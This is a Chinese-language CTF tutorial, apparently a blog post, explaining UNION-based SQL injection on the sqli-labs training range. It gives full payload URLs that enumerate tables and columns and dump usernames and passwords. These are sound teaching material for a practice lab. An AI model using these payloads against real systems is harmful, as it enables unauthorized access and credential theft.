CTF-Web安全--SQL注入之Union注入详解

简介: CTF-Web安全--SQL注入之Union注入详解

一、测试靶场与使用工具

浏览器:火狐浏览器--Firefox

靶场:sqli-labs

使用插件:HackBar

操作环境:phpstudy


二、判断字符型注入与数字型注入

操作步骤:

1、用F12打开控制台,打开HackBar, Loar URL,将当前靶场的URL信息复制到操作台上

2、输入?id=1,观察到页面发生变化,显示的是id=1时数据库中的信息,?是用来分割URL和查询字符串的,查询到了id=1时的用户登录名与登录密码

3、目前还不确定是字符型注入还是数字型注入,我们将id分别改为 id=2 和 id=2-1,若为数字型注入,则 id=2-1 时,页面应与 id=1 时的页面一致,若不一致,则证明为 字符型注入

id=2时:

id=2-1时:

由观察上图可知:id=2-1时页面与id=2时页面一致,与id=1时页面不一致,说明为字符型注入。若id=2-1的页面与id=1时的界面相同,则说明为数字型注入。


三、找到字符型的闭合方式

字符型闭合方式分为四种:'   ``   ')   ")

经过尝试之后我们可以找到符合要求的字符型闭合方式,并在后加上 --+,否则会报错。

http://localhost/Less-1/?id=1' --+

四、正式开始Union注入


--- 共分为五个步骤:

1、找到注入点

2、判断是 字符型注入 \ 数字型注入

3、若是字符型注入,找到它的闭合方式

4、判断查询列数 group by \ order by

5、查找回显位置 令 id=-1 \ id=0


--- 判断查询列数

使用 group by 语句,先令 group by 10, 若不符合条件,则利用二分逼近的方法,逼出最终的答案。

当group by 10时,页面黄字提示报错

经过二分逼近,最终得出结论,查询列数=3


--- 查找回显位置

使用如下语句:

http://localhost/Less-1/?id=-1' union select 1,2,3 --+

为什么要将id改为-1:若id=1,那么页面将显示表中第一行数据,只有id的值在表中不存在,那么页面中将显示我们自己要查询的值,借此我们可以找到回显位。


--- 注入命令,盗取账号和密码

1、首先使用database()函数,借助回显位可以看到当前使用的数据库名称为 'security'。

2、利用SELECT查询语句,查询数据库security中的表都有哪些。

查询过程中要使用 group_concat()函数,否则只会显示一个表名的信息。

http://localhost/Less-1/?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() --+

3、利用SELECT查询语句,查询 表User 中的列 column 都有哪些。

http://localhost/Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

观察到 表User 由三列构成  -- id -- username -- password, 我们的目标就是拿到用户的 username 和 password。

4、利用SELECT查询语句 将用户的 username 和 password 显示到 回显位上。

http://localhost/Less-1/?id=-1' union select 1,2, group_concat(username, '~', password) from users --+

得到用户名与密码,目的达成。


五、若为数字型注入

若注入方式为数字型注入,则不必找到它的闭合方式 与 --+,其他步骤 = 字符型注入。

相关文章
|
22天前
|
人工智能 Linux iOS开发
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
45 12
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
7天前
|
安全 大数据 数据挖掘
课时9:阿里云Web应用防火墙:全面保障网站的安全与可用性
阿里云Web应用防火墙(WAF)基于阿里巴巴十年攻防经验,提供全面的网站安全防护。它通过Web应用防护、CC攻击防护和业务风控,有效应对各类网络威胁,确保网站的安全与可用性。智能双引擎技术降低误报率,实时数据分析和虚拟补丁更新保障系统安全。WAF已成功护航多个重大活动,为企业提供高效、简便的安全解决方案。
|
3月前
|
缓存 安全 搜索推荐
阿里云先知安全沙龙(北京站) ——浅谈Web快速打点
信息收集是网络安全中的重要环节,常用工具如Hunter、Fofa和扫描工具可帮助全面了解目标系统的网络结构与潜在漏洞。遇到默认Nginx或Tomcat 404页面时,可通过扫路径、域名模糊测试、搜索引擎缓存等手段获取更多信息。AllIN工具(GitHub: P1-Team/AllIN)能高效扫描网站路径,发现敏感信息。漏洞利用则需充分准备,以应对突发情况,确保快速拿下目标站点。 简介:信息收集与漏洞利用是网络安全的两大关键步骤。通过多种工具和技术手段,安全人员可以全面了解目标系统,发现潜在漏洞,并制定有效的防御和攻击策略。
|
3月前
|
安全 应用服务中间件 网络安全
实战经验分享:利用免费SSL证书构建安全可靠的Web应用
本文分享了利用免费SSL证书构建安全Web应用的实战经验,涵盖选择合适的证书颁发机构、申请与获取证书、配置Web服务器、优化安全性及实际案例。帮助开发者提升应用安全性,增强用户信任。
|
4月前
|
SQL 安全 PHP
PHP开发中防止SQL注入的方法,包括使用参数化查询、对用户输入进行过滤和验证、使用安全的框架和库等,旨在帮助开发者有效应对SQL注入这一常见安全威胁,保障应用安全
本文深入探讨了PHP开发中防止SQL注入的方法,包括使用参数化查询、对用户输入进行过滤和验证、使用安全的框架和库等,旨在帮助开发者有效应对SQL注入这一常见安全威胁,保障应用安全。
131 4
|
4月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
113 2
|
4月前
|
SQL 负载均衡 安全
安全至上:Web应用防火墙技术深度剖析与实战
【10月更文挑战第29天】在数字化时代,Web应用防火墙(WAF)成为保护Web应用免受攻击的关键技术。本文深入解析WAF的工作原理和核心组件,如Envoy和Coraza,并提供实战指南,涵盖动态加载规则、集成威胁情报、高可用性配置等内容,帮助开发者和安全专家构建更安全的Web环境。
125 1
|
4月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
129 2
|
6月前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
8月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
198 13

热门文章

最新文章